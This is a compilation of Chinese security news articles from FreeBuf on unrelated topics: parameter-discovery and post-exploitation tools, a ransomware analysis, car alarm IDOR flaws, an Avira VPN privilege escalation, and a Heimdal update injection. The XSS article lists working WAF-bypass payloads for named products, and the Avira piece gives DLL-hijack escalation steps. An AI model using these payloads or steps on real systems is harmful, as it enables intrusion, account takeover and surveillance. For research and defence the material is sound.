a.png

今天给大家介绍的是一款名叫Arjun的开源工具,广大研究人员可以利用该工具来对HTTP参数进行提取和分析。

b.png

功能介绍

1、 多线程;

2、 四种检测模式;

3、 常规扫描仅需30秒;

4、 基于正则表达式的启发式扫描;

5、 提供了25980个可扫描的参数名;

6、 只想目标发送30-5个请求即可完成任务;

工具使用

注意:当前版本的Arjun不支持Python < 3.4的环境。

参数发现

用户可以使用下列命令查找GET参数:

python3 arjun.py -u https://api.example.com/endpoint --get

类似的,用户可以使用–post来查找POST请求。

多线程

Arjun默认仅会使用两个线程,广大用户可以根据自己的网络连接状况或特定需求来调整Arjun性能:

python3 arjun.py -u https://api.example.com/endpoint --get -t 22

请求间隔延迟

用户可以使用-d选项来延迟请求发送的间隔时间:

python3 arjun.py -u https://api.example.com/endpoint --get -d 2

引入固定数据

比如说你设置了一个API密钥,并且每次发送请求时都需要携带这个密钥,那你就可以使用–include参数来告知Arjun:

python3 arjun.py -u https://api.example.com/endpoint --get --include 'api_key=xxxxx'

或者:

python3 arjun.py -u https://api.example.com/endpoint --get --include'{"api_key":"xxxxx"}'

如果你需要传入多个参数的话,你可以使用“&”来分隔不同参数,或以有效的JSON对象格式进行传递。

JSON输出

用户可以使用-o参数来以JSON格式存储工具的输出结果:

python3 arjun.py -u https://api.example.com/endpoint --get -o result.json

添加HTTP Header

用户可以使用“–headers”选项来开启交互式命令行,然后输入需要设置的header。完成之后,按下Ctrl + S键保存配置,然后按下Ctrl + X进行数据处理。

c.png

*参考来源:Arjun,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

看我如何绕过WAF的XSS检测机制

概述

本文提出了一种绕过XSS安全机制的新型方法,这种技术由三个阶段组成:确定Payload结构、探测和混淆处理。首先,我们需要针对给定的上下文环境,确定各种不同的Payload结构以达到最优的测试效果。接下来就是探测,这里涉及到根据目标所实现的安全机制来进行各种字符串测试,并分析目标的响应数据以便基于分析结果来做出安全假设。最后,根据分析结果来判断是否要对Payload进行混淆处理或结构调整。

致读者

本文假设读者对XSS、HTML和JavaScript已经有了基本的了解。

全文使用{string}来代表Payload机制中的组件。

全文使用{?string}来代表可选组件。

全文使用“主要字符”这个名词代表Payload中必须包含的字符。

作者建议使用URL编码来处理Payload中不安全的字符,例如“+”和“&”等等。

在探测过程中,建议使用无害的字符串来代替{javascript}。

介绍

XSS是Web应用程序中常见的漏洞之一,网站管理员可以通过用户输入过滤、根据上下文转换输出数据、正确使用DOM、强制执行跨源资源共享(CORS)策略以及其他的安全策略来规避XSS漏洞。尽管现在有很多预防XSS攻击的技术,但Web应用程序防火墙(WAF)或自定义数据过滤器是目前使用比较广泛的安全保护技术了,很多厂商都会利用这些技术来抵御新型的XSS攻击向量。虽然WAF厂商仍在尝试引入机器学习技术,但基于正则表达式的字符串检测方法仍是目前最广泛使用的技术。

本文提出了一种构造XSS Payload的新型方法,这种方法构造出来的XSS Payload可以绕过基于正则表达式匹配的安全机制。

HTML上下文

当用户的输入数据映射在Web页面的HTML代码中时,这种场景就是我们所谓的HTML上下文。HTML上下文可以根据用户输入在代码中的映射位置来进一步划分成:

1、 标签内:<inputtype=”text” value=”$input”>

2、 标签外:<span>Youentered $input</span>

标签外

在这种上下文场景中,主要字符“<”代表HTML标签的起始。根据HTML定义,标签名必须以字母作为开头,因此我们可以利用下面的规则来判断用来匹配标签名的正则表达式:

1、<svg – 如果通过,表明没有进行任何标签检测;

2、<dev – 如果无法通过,则为<[a-z]+;

3、x<dev – 如果通过,则为^<[a-z]+;

4、<dEv – 如果无法通过,则为<[a-zA-Z]+;

5、<d3V – 如果无法通过,则为<[a-zA-Z0-9]+;

6、<d|3v – 如果无法通过,则为<.+;

如果上述方式均无法探测成功,则说明目标站点部署的安全机制无法被绕过。这种方式的假阳性率非常高,因此不鼓励使用。如果上述探测方式有一个可行,那么可用来构造Payload的机制就非常多了。

Payload机制#1

<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

找到{tag}的合适值之后,就需要猜测用于匹配标签和事件处理器间数据过滤器的正则表达式了。这一步可以使用下面的探测机制来实现:

1、<tag xxx – 如果无法通过,则为{space};

2、<tag%09xxx – 如果无法通过,则为[\s];

3、<tag%09%09xxx – 如果无法通过,则为\s+;

4、<tag/xxx – 如果无法通过,则为[\s/]+;

5、<tag%0axxx- 如果无法通过,则为[\s\n]+;

6、<tag%0dxxx>- 如果无法通过,则为[\s\n\r+]+;

7、<tag/~/xxx – 如果无法通过,则为.*+;

这个组件(例如事件处理器)是Payload结构中最关键的部分。通常,匹配它的是常规正则表达式(例如“on\w+”)或黑名单(例如“on(load|click|error|show)”)。第一个正则表达式非常严格,很难绕过,而基于黑名单的模式可以通过不常用的事件处理器来绕过。安全机制的实现类型可以通过下面两种简单的方法来识别:

1、<tag{filler}onxxx – 如果无法通过,则为on\w+。如果通过,则为on(load|click|error|show);

2、<tag{filler}onclick- 如果通过,则表明没有事件处理器检测正则表达式;

下面是一些防火墙黑名单中没标记的事件处理器:

onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

常用的Payload结束符如下:

<payload>
<payload
<payload{space}
<payload//
<payload%0a
<payload%0d
<payload%09

Payload机制#2

<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

使用了<object>标签的Payload可以利用下面的Payload机制来构建:

<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

Payload机制#3

这种Payload机制有两种形式:明文或混淆处理。

明文结构如下:

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}

混淆处理后的Payload结构如下:

<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}

JavaScript上下文

Payload机制#1

{quote}{delimiter}{javascript}{delimiter}{quote}

可用的Payload有:

'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'

Payload机制#2

{quote}{delimiter}{javascript}//

可以使用下列Payload机制来构建Payload:

'<{javascript}//'
'|{javascript}//'
'^{javascript}//'

防火墙绕过

在研究过程中,总共绕过了八款WAF。下面的列表包含了可绕过的WAF、Paylaod以及相关的绕过技术:

WAF名称:Cloudflare

Payload:<a”/onclick=(confirm)()>click

绕过技术:非空格填充

WAF名称:Wordfence

Payload:<a/href=javascript&colon;alert()>click

绕过技术:数字字符编码

WAF名称:Barracuda

Payload:<a/href=&#74;ava%0a%0d%09script&colon;alert()>click

绕过技术:数字字符编码

WAF名称:Akamai

Payload:<d3v/onauxclick=[2].some(confirm)>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:Comodo

Payload:<d3v/onauxclick=(((confirm)))“>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:F5

Payload:<d3v/onmouseleave=[2].some(confirm)>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:ModSecurity

Payload:<details/open/ontoggle=alert()>

绕过技术:黑名单中缺少标签或事件处理器

WAF名称:dotdefender

Payload:<details/open/ontoggle=(confirm)()//

绕过技术:黑名单中缺少结束标签、事件处理器和函数调用混淆

参考资料

HTML规范:【传送门

数字字符引用:【传送门

* 参考来源:s0md3v,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

bbbbbbbbbb.jpg

Freedom Fighting Mode (FFM)

FFM是一款采用Python开发的开源渗透测试工具,广大研究人员可以将FFM用于红队任务的后渗透测试阶段。

研究人员在SSTIC 2018大会上正式公布了这款工具,感兴趣的用户可以点击【这里】查看当时的工具介绍文稿。

工具安装

git clone git://github.com/JusticeRage/FFM.git

工具使用

该工具的主要目的是为了帮助研究人员自动化实现后渗透利用阶段的常规任务,并通过检测目标环境的安全配置来帮助目标用户增强安全保护等级。

运行“./ffm.py“即可激活FFM,接下来我们就可以开始测试任务了。最常用的两个操作命令如下:

1、 输入“!list“命令可查看该工具提供的所有操作命令;

2、 输入“SHIFT+TAB“命令可在远程主机上实现命令补全;

命令列表

1、“!os“:这个命令非常简单,它会执行“cat /etc/*release*”来查看当前设备运行的操作系统版本,以便研究人员了解目标设备的测试环境。通过SSH连接目标设备后,“!os”命令即可使用,插件位于“commands/replacement_commands.py”。

2、“!download [remotefile] [local path]”:可以从远程主机中获取文件,并将其通过命令行工具拷贝到本地。这个命令有些复杂,因为它有更严格的错误检查,插件位于“commands/download_file.py”。需要注意的是,远程主机需要xxd或od来保证功能的正常运行。

3、“!upload [local file][remote path]”:这个命令的功能跟上面的那个差不多,只不过它负责的是将本地文件发送到远程主机中。

4、“!pty”:该命令会生成一个TTY,不过大多数情况下不建议使用,因为它会在目标主机上留下“痕迹“。当然,某些命令(例如sudo)还是需要TTY的。

5、“!py [local script]“:该命令可以在远程主机上执行本地Python脚本,而且全部在内存中运行。

研究人员可以通过编辑ffm.conf来对插件进行自定义配置。

处理器

上述指令可以生成一些bash命令并将其转发至shell,然后根据shell的输出来生成额外指令并进行更加复杂的操作。其中,当用户输入完数据并按下回车键后,输入处理器便会开始执行;当shell返回处理数据后,输出处理器便会运行。

许可证协议

该项目遵循GPL v3开源许可证协议。

工具地址

FFM:【GitHub传送门

*参考来源:JusticeRage,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

mXtract

mXtract是一款开源的Linux安全工具,该工具可从目标系统的内存中提取并分析数据。从本质上来说,mXtract是一款防御端渗透测试工具,它的主要功能是扫描目标系统内存并尝试通过正则表达式来从中提取出私钥、IP和用户密码等敏感数据。请记住,扫描结果跟正则表达式的质量息息相关…

工具截图

mXtract

Verbose模式扫描单个IP正则式,扫描单个数据段,显示整个扫描进程信息以及扫描的环境文件。

mXtract

Verbose模式扫描单个IP正则式,扫描范围仅限堆栈空间,显示扫描进程信息,扫描环境文件。

mXtract

简单扫描,单个IP正则式,显示扫描进程信息,扫描环境文件。

为什么直接从内存中导出数据?

在大多数Linux环境中,用户可以直接访问进程的内存信息,这将允许攻击者收集用户凭证、私钥或其他敏感信息。

功能介绍

1、 可输入正则表达式列表;

2、 清晰可读的显示数据;

3、 使用当前权限检测内存范围是否可写;

4、 以XML和HTML格式输出数据;

5、 大规模扫描每一个进程或特定的PID;

6、 选择特定的内存区域进行扫描;

7、 显示详细的进程信息;

8、 扫描进程环境文件;

9、 内存数据自动导出,并移除Unicode字符

工具下载

git clone https://github.com/rek7/mXtract

工具编译

cd mXtract && sh compile.sh

命令运行完成之后,将创建/bin/目录,并将代码编译为mxtract。

命令

mXtract

工具使用样例

$./mxtract -wm -wr -e -i -d=/tmp/output/ -r=example_regexes.db

项目地址

mXtract:【GitHub传送门

* 参考来源:mXtract,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

近期,我们发现了一种新型的勒索软件家族-Anatova。Anatova发现于一个私人的点对点(p2p)网络中,目前我们已经确保客户得到了有效的安全保护,并打算在这篇文章中公开我们的研究成果。

1.png

考虑到Anatova是以模块化扩展的形式开发的,因此我们认为它将会发展成为非常严重的安全威胁。

除此之外,它还会检查目标设备是否连接了网络共享,并加密所有的共享文件。根据我们的分析,Anatova背后的开发者技术水平非常高,因为我们捕捉到的每一个样本都拥有唯一的密钥和不同的功能,这在勒索软件领域中很少见。

在这篇文章中,我们将讨论Anatova的技术细节,以及关于这个新型勒索软件家族其他的一些有意思的东西。

分析样本hash:

170fb7438316f7335f34fa1a431afc1676a786f1ad9dee63d78c3f5efd3a0ac0

Anatova的主要目的是加密目标设备上的所有文件,并向目标用户勒索数据赎金。

Anatova概述

Anatova一般会使用游戏或者常见应用的图标来欺骗用户下载恶意软件,然后请求获取管理员权限:

2.png

Anatova勒索软件是一款64位应用程序,编译日期为2019年1月1日。我们的样本文件大小为307kb,但具体会根据样本使用的资源发生变化。如果我们移除所有资源,Anatova的大小仅为32kb。对于一款拥有如此强大机制的勒索软件来说,这个体积确实非常小。

Anatova还拥有强大的保护机制来对抗静态分析:

1、 大多数字符串都使用了Unicode或ASCII进行加密,使用了不同的解密密钥,数据全部嵌入在可执行文件中。

2、 90%都是动态调用,只使用了常见Windows API的标准库(C语言):GetModuleHandleW、LoadLibraryW、GetProcAddress、ExitProcess和MessageBoxA。

3、 当我们在IDA Pro中查看代码并对功能函数进行分析时,IDA Pro一直报错,我们不确定这是IDA Pro的Bug还是恶意软件开发者有意而为之的。

3.png

V1.0亮点

因为这是一款新型的勒索软件,所以我们暂且将其归为v1.0版本。

恶意软件首先会获取“kernel32.dll”来作为模块处理库,并使用函数“GetProcAddress”来从处理库中获取29个功能函数。

3-1.png

如果恶意软件无法获取kernel32模块处理库,而且也无法获取其他的功能函数,它将会退出执行。

接下来,恶意软件会尝试使用硬编码名称(6a8c9937zFIwHPZ309UZMZYVnwScPB2pR2MEx5SY7B1xgbruoO)来创建原语,但不同样本中的原语名称也不同。创建完成并获取到处理库后,它会调用“GetLastError”函数,并判断最后一条错误信息是否为ERROR_ALREADY_EXISTS或ERROR_ACCESS_DENIED。这两条错误信息指的是“之前的原语对象实例已存在”。如果出现这样的情况,恶意软件会清空内存,我们之后会详细介绍这部分。

4.png

通过这项检测后,Anatoa会使用相同的机制从“advapi32.dll”、“Crypt32.dll”和“Shell32.dll”库中获取某些功能函数。所有的文本都经过了加密处理,并且挨个进行解密,然后获取函数,释放内存,然后处理下一个请求。

如果无法获取到必要模块或函数,它将会运行清理工具并退出运行。

有意思的是,Anatoa还会获取已登陆/活动用户的用户名并搜索比对一个加密用户名列表:

LaVirulera

tester

Tester

analyst

Analyst

lab

Lab

Malware

Malware

很明显这是一种躲避虚拟机和沙盒的方法。

接下来,Anatova还会检测目标系统的语言,即系统使用的区域语言选项,这样是为了确保用户无法通过屏蔽某种语言来绕过文件加密。

下面的国家不会受到Anatova的影响:

所有独联体国家

叙利亚

埃及

摩洛哥

伊拉克

印度

独联体国家被排除在攻击名单外的情况很常见,这也表明攻击者很有可能来自于其中的一个国家。但是,有多个国家被排除在外就有些奇怪了。

5.png

语言检测完成后,Anatova会寻找一个标记(该标记在所有样本中的值都为0),如果这个标记值变成了1,它将会加载两个DLL文件:“extra1.dll”和“extra2.dll”。这也表明,Anatova是以模块化的形式开发的,并且将来会实现更多的功能扩展。

6.png

接下来,Anatova会使用加密API来生成RSA密钥对。它会使用加密API“CryptGenRandom”(Salsa20算法)来创建一个32位的随机密钥以及一个8字节值。文件加密过程中,它还会解码样本中的主RSA公钥:

7.png

用于实现文件加密功能的部分代码如下:

8.png

下面给出的是Anatova显示给目标用户的勒索信息:

9.png

文件加密完成后,Anatova还会删除目标设备上的卷硬拷贝,跟其他勒索软件一样,这里Anatova同样会使用vssadmin程序:

10.png

所有的操作步骤都完成后,勒索软件会进入代码清洁流程,也就是清除内存中的代码以防止用户创建解密工具。

入侵威胁指标IoC

样本使用了下列攻击技术:

1、 通过API执行;

2、 应用进程发现;

3、 文件和目录发现:搜索文件进行加密;

4、 加密文件;

5、 进程发现:枚举终端设备上的所有进程,并终止特定进程;

6、 创建文件;

7、 权限提升;

哈希:

2a0da563f5b88c4d630aefbcd212a35e

366770ebfd096b69e5017a3e33577a94

9d844d5480eec1715b18e3f6472618aa

61139db0bbe4937cd1afc0b818049891

596ebe227dcd03863e0a740b6c605924

 * 参考来源:securingtomorrow,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

Lynis介绍

Lynis是一款开源安全审计工具,广大系统管理员、安全专家和审计人员都可以利用该工具来对Linux以及类Unix系统进行安全审计。该工具可直接在测试主机上运行,而且跟常规漏洞扫描工具相比,Lynis的安全扫描范围更加广泛。

近期,研究人员又发布了全新版本的多功能安全审计工具-Lynis。这个版本不仅对Lynis的核心功能进行了重大改进,而且还添加了很多额外的安全审计功能。

支持的操作系统

该工具不需要安装格外的依赖组件,因此它可以直接在所有的类Unix系统上直接运行,其中包括:

AIX

FreeBSD

HP-UX

Linux

macOS

NetBSD

OpenBSD

Solaris

….

除此之外,它还可以在树莓派和其他嵌入式设备上运行。

安装选项

Lynis是一款轻量级框架,而且使用简单。我们只需要把项目文件拷贝到本地系统目录中,然后使用下列命令即可开启安全扫描:

./lynis audit system

该工具采用Shell脚本开发,遵循GPL开源软件许可证协议。

工作机制

Lynis可以执行数百种单独的扫描任务,并根据扫描结果来判断目标系统的安全状态。从初始化程序,到生成最终的审计报告,每一种安全扫描任务都由多个测试阶段组成。

审计步骤

1、 判断目标操作系统;

2、 搜索可用工具及实用工具;

3、 检查Lynis更行;

4、 使用已启用的插件进行测试;

5、 按照分类进行安全测试;

6、 生成安全扫描报告;

除了上述数据之外,Lynis还会生成一份详细的技术分析报告,并存储在日志文件中,其中还包括了安全警告、安全建议和收集到的数据。

使用样例

由于Lynis的灵活性非常高,研究人员可以将其用于多种用途,下面是Lynis的几种使用场景:

安全审计

兼容性测试(PCI、HIPAA、Sox)

漏洞检测与扫描

系统安全增强

测试资源

很多工具都会使用相同的数据文件来执行安全测试。由于Lynis不会限制可运行的Linux发行版版本,所以它可执行的标准测试要比一般的测试工具多。

Bestpractices

CIS

NIST

NSA

OpenSCAPdata

Debian Gentoo

Lynis插件

插件功能可以增强Lynis的功能,启用插件功能后,Lynis还可以执行额外的安全测试。

工具下载

Lynis:【官方网站

Lynisv2.7.3:【点我下载

* 参考来源:kitploit,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

看我如何黑掉你的豪车

大家应该都知道针对汽车无钥匙进入系统的中继式攻击吧?很多第三方汽车警报器厂商都会以这个内容来给自己打广告。而我们的各项研究表明,在装配了这些警报器之后,你的汽车将会变得更加不安全!因为这些警报器系统可能会让你无法锁住车门,可能会让你的引擎在行驶过程中突然停止,甚至还会因此而被偷车。

为了证明我们的说法,我们花了5000多美元购买并安装了几款高端的“智能”汽车警报器,并在市场占用率排名第一和第二的两款警报器系统中发现了严重的安全缺陷,而这些安全缺陷将导致:

1、 汽车将能够被实时定位;

2、 可获取汽车类型以及车主信息;

3、 汽车报警器可以被禁用;

4、 汽车可以被攻击者解锁;

5、 攻击者可启动或禁用汽车防盗系统;

6、 某些情况下,汽车发动机在行驶过程中可能会“被”熄火;

7、 车辆被盗

上述的这些安全问题将导致全球三百多万台汽车受到影响。

研究动机

其中有一家名叫Pandora的警报器厂商,他们生成自己的产品是“永远无法被攻击”的。这就不合适了吧?这种想法,简直就是在挑战我们安全研究人员的“底线”。大家看:

看我如何黑掉你的豪车

Pandora现在也把这段“声明”从官网上下线了,但我们还是截到了一张图:

看我如何黑掉你的豪车

我们所分析的产品分别来自于Pandora和Viper这两家厂商,它们的产品目前分别占据全球汽车警报器市场的第一和第二。

搞笑的是,他们产品中的漏洞有些过于“直接“了,其实就是API中不安全的直接对象引用漏洞(IDOR)。

攻击者只需要修改部分参数,就可以在不通过身份验证的情况下修改用户注册的邮箱地址,并发送密码重置请求来修改并接管用户账号了。此时,攻击者可以实时定位目标车辆的位置以及解锁目标车辆的车门。

其实我们是在拿到警报器之前就发现了这个漏洞,但为了概念验证,我们还是购买并将其安装到了我们自己的汽车上。

看我如何黑掉你的豪车

这是一个IDOR漏洞,存在于“修改用户“请求中。虽然除了这一个API之外,其他所有的API都会进行身份验证,但/users/Update/xxxxx请求却没有进行有效验证。

因此,攻击者就可以通过发送恶意请求来修改用户的密码,并控制账户来与汽车警报系统进行交互,而合法用户将无法登陆账号,并且无法访问他们的汽车警报系统。

请求样本:

5.png

密码修改截图:

看我如何黑掉你的豪车

Pandora漏洞分析

这是一个存在于POST请求中的IDOR漏洞,请求位于“email“这个JSON参数中,请求信息如下:

https://pro.p-on.ru/api/sputnik/workers?id=xxxx

看我如何黑掉你的豪车

因此,攻击者可以修改用户的邮件,并发送密码重置请求。密码重置之后,他们就可以登录App并获取到账户和警报器的完整控制权了。值得一提的是,这种方式还可以攻击管理员用户,即管理多台汽车的用户。

看我如何黑掉你的豪车

攻击者到底能做什么?

攻击者可以随便选一台车,那就陆虎览胜吧:

看我如何黑掉你的豪车

接下来,我们来实时定位车辆位置:

看我如何黑掉你的豪车看我如何黑掉你的豪车

然后我们开车跟踪他:

看我如何黑掉你的豪车

然后,关闭警报器和闪光灯…

当司机靠边停车下来检查时,我们可以开启防盗系统,然后他就没办法启动汽车了。而且我们还取消了他们访问警报器账户的权限,因此他们也无法重置防盗系统。此时,我们可以使用手机来克隆车钥匙按钮,然后使用手机来打开车门。

看我如何黑掉你的豪车

音频窃听

Pandora的警报系统能够在遇到紧急情况时发出求救信号,因此它配备了麦克风来启用此功能。但是由于API中存在授权缺陷,因此攻击者可以利用这种缺陷来远程访问和启用目标设备的麦克风。

这样一来,攻击者就可以远程窃听目标车辆上人员的全部聊天信息了。

总结

在很多场景下,我们都可以轻松利用物联网设备API中的IDOR漏洞。

大家也知道,这些汽车警报器系统是非常昂贵的,通常只有高端汽车或者配备了无钥匙进入的汽车才会安装它们。就目前的数据来看,我们保守估计全球大约有价值1500亿美元的汽车仍处于这种安全风险之中。

* 参考来源:pentestpartners,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

1.jpg

基本信息

产品版本:Avira Phantom VPN

下载地址:【点我下载

操作系统:Windows 10 v1709(x64)

漏洞信息:Avira VPN提权漏洞

漏洞概述

AviraPhantom VPN服务平台在检查更新时会进行大量的检测,在更新过程中,VPN服务会将更新文件下载到“C:\Windows\Temp\”目录,存储的文件名为AviraVPNInstaller.exe。

接下来,程序会验证该文件的签名,如果版本号不符合更新条件(版本号低于当前版本),则会停止更新。如果条件符合,服务会以SYSTEM权限运行更新代码。

但我们可以使用一个已签名的有效Avira可执行文件来替换这个“AviraVPNInstaller.exe”,然后在“C:\Windows\Temp”中存放一个恶意DLL文件并最终实现提权(NT AUTHORITY\SYSTEM)。

漏洞分析

当Avira VPN服务(Avira.VPNService.exe, 版本号为2.15.2.28160)开始运行后,它会检测是否有可用更新:

2.png

应用程序服务会从“C:\Windows\Temp”目录中获取下载下来的更新文件:

3.png

可能大家已经发现了,任何一名通过身份验证的用户都可以向“C:\Windows\Temp”目录写入文件(但无法读取文件)。当该目录中已经存在有更新文件(C:\Windows\Temp\AviraVPNInstaller.exe)时,VPN服务会检查更新文件的“FileVersion”属性,以此来判断这个更新文件是否已经在这台设备上安装过了:

4.png

如果文件版本表明该更新没有安装过,服务将会对文件的有效性以及文件签名进行验证:

5.png

如果文件确实有效,并且由Avira签名,那么VPN服务将会开启更新功能。因为这一切都是低权限用户可以做到的,所以攻击者就有可能劫持软件更新包,并进行数据篡改。

为了劫持“AviraVPNInstaller.exe”,攻击场景必须满足下列条件:

1.“AviraVPNInstaller.exe”必须由Avira签名;

2.“AviraVPNInstaller.exe”的签名必须有效,对文件进行的任何修改都将导致签名失效;

3.“AviraVPNInstaller.exe”的版本号验证结果必须是“该更新未在主机上安装过”。

这也就意味着,我们需要想办法利用Avira的已签名文件,并且版本号要高于当前产品。

研究半天之后,我们发现了“ToastNotifier.exe”,它正好符合我们的要求:

6.png

注:ToastNotifier.exe来自于Avira反病毒产品套件中。

接下来,我们要做的就是把“ToastNotifier.exe”拷贝到“C:\Windows\Temp\AviraVPNInstaller.exe”。因为一切条件都满足,当服务启动后VPN服务会以SYSTEM权限运行这个可执行文件,这一步可以通过重启或以管理员权限运行下列命令来完成(PowerShell):

Get-ServiceAviraPhantomVPN | Stop-Service

Get-ServiceAviraPhantomVPN | Start-Service

执行之后,“ToastNotifier.exe”将会尝试加载“C:\Windows\temp”目录中的恶意DLL文件:

7.png

为了实现SYSTEM提权,我们要做的就是提供上面这些DLL文件。这里,我们使用“cryptnet.dll”(包含了我们的恶意代码),它可以帮助我们让VPN服务以SYSTEM权限启动“AviraVPNInstaller.exe”代码,然后以SYSTEM权限加载“cryptnet.dll”,最终实现低权限用户提权为SYSTEM权限。

8.png*参考来源:enigma0x3,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

前言

近期,我们在一款热门的终端安全产品(Heimdal Thor)中发现了一个命令注入漏洞,通过利用该漏洞,将导致产品以及客户PC暴露在安全风险之中。

但是在我们上报漏洞之后,Heimdal也迅速修复了相关问题,不过值得一提的是,这个漏洞已经在一年之内影响了65万台以上的PC了。

CVE漏洞信息:【传送门

Heimdal官方公告:【传送门

但是,Heimdal在公告中貌似并没有提到这个远程命令注入漏洞….

漏洞的发现

这个漏洞是我们在一次自动化IoT渗透测试的过程中发现的。在硬件测试的过程中,我们通常会搭建一个WiFi访问点,并尝试通过拦截代理(例如Burp Suite)来重定向设备的网络通信流量。为什么呢?因为现在很多的嵌入式设备并不会对服务器的“真实身份“进行验证,这里就会存在实现中间人攻击的可能性。

一般来说,如果你用Windows笔记本连接我们的这些WiFi访问点,你将会收到大量SSL/TLS等证书错误信息,而且应用程序也会无法连接网咯,这样就存在安全风险了。现在,大多数软件开发人员都已经意识到了,检查通信对象跟加密通信流量是同等重要的。

中间人攻击-MitM

在硬件测试的过程中,我对Burp Suite流量进行了深入分析。不出所料,测试的设备果然没有对通信服务器的身份进行验证,这将允许我篡改设备固件的更新过程。但是接下来,我发现了一个“与众不同“的请求,这个请求很明显包含了Windows设备的详细信息:

就在此时,我们客户的一个员工用他的笔记本连接了我们的WiFi访问点之后,又发现了另一个问题。在此期间,他设备中的大多数软件都捕捉到了尝试篡改网络流量的行为,并中断了网络通信。

但是,大多数,并不意味着全部!

我们发现,设备进行通信的域名为coreservice.heimdalsecurity.com,很明显“罪魁祸首”就是Heimdal Thor,而它们似乎还整合了终端保护和自动化软件更新等方面。

HeimdalThor在进行自动软件更新时,我发现了它会从一个JSON列表下载软件,其中包含了URL、版本信息等等。在这个列表中有“beforeInstallScript”和“afterInstallScript”这两个参数。

因此,当客户端更新该软件时,嵌入的命令将会被执行:

客户端上的任意命令执行

终端保护产品拥有高级权限,所以当攻击者拦截了设备与服务器间的通信流量后,他们就可以控制你的设备了。

没错,首先攻击者需要拦截通信流量,而最理想的地方就是公共开放WiFi访问点了。或者说,攻击者也可以入侵家庭WiFi网络(弱PSK密钥?),然后入侵家庭网络环境中的PC。

这就很尴尬了,因为导致用户陷入安全风险的正是这些“安全保护产品”。

漏洞分析

那么这里到底出现了怎样的问题呢?

HeimdalThor是一款能够以高等级权限运行在用户设备上的安全软件,但我们认为这款产品的安全等级和标准还远远不够…

证书验证的问题应该更早被发现:

1、 很多证书验证实例中存在的安全问题应该在代码审计阶段就应该被发现了,而且有些问题在产品研发过程中已经被发现了很多次,但是在实际部署的时候又没有进行修复。

2、 应该对软件的重大升级或更新进行多次测试,证书验证的有效性也应该定期自动进行核查。

除此之外,我还发现Heimdal Thor在进行更新时下载的不是常规的可执行文件,而是.enc文件。经过分析后,我们发现这种文件是经过加密处理的。但它们是如何进行加密的呢?

应用程序采用的是.NET开发,因此反编译过程会比较麻烦,努力后我们终于找到了解密代码:

上述代码中的Rijndael基于的是AES加密算法,通过分析函数引用,我们发现这个函数主要的作用就是解密文件,密钥和IV分别设置为了“CryptingConstants.Key”和“CryptingConstants.IV”。

不出所料,密钥和IV都是静态的,而且在所有Heimdal Thor产品中都是相同的:

RijndaelManaged继承的是SymmetricAlgorithm,而这个算法默认使用的是CBC模式。这种模式没有提供身份验证机制,因此我们修改密码文本是不会被发现的。

我们还发现,服务器端返回的JSON数据中,有一个“checksum”参数,这是一个MD5校验码,它可能可以帮助我们校验更新文件的有效性,但攻击者是可以轻松绕过这种校验机制的,因为他们只需要生成一个新的MD5并替换掉之前的就可以了。

总结

总之,这款终端安全保护产品即不能提供机密性保护,也不能对数据的真实性提供有效的验证功能。

在我们看来,这款产品所采用的加密机制从设计和规范阶段就已经注定了它的失败。产品貌似看起来能够提供安全保护,但实则不然。就设计安全保护系统来说,从一开始就必须要设定好明确的安全目标,因此我们建议这款产品可以推倒从头再来了。

* 参考来源:tuisec,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM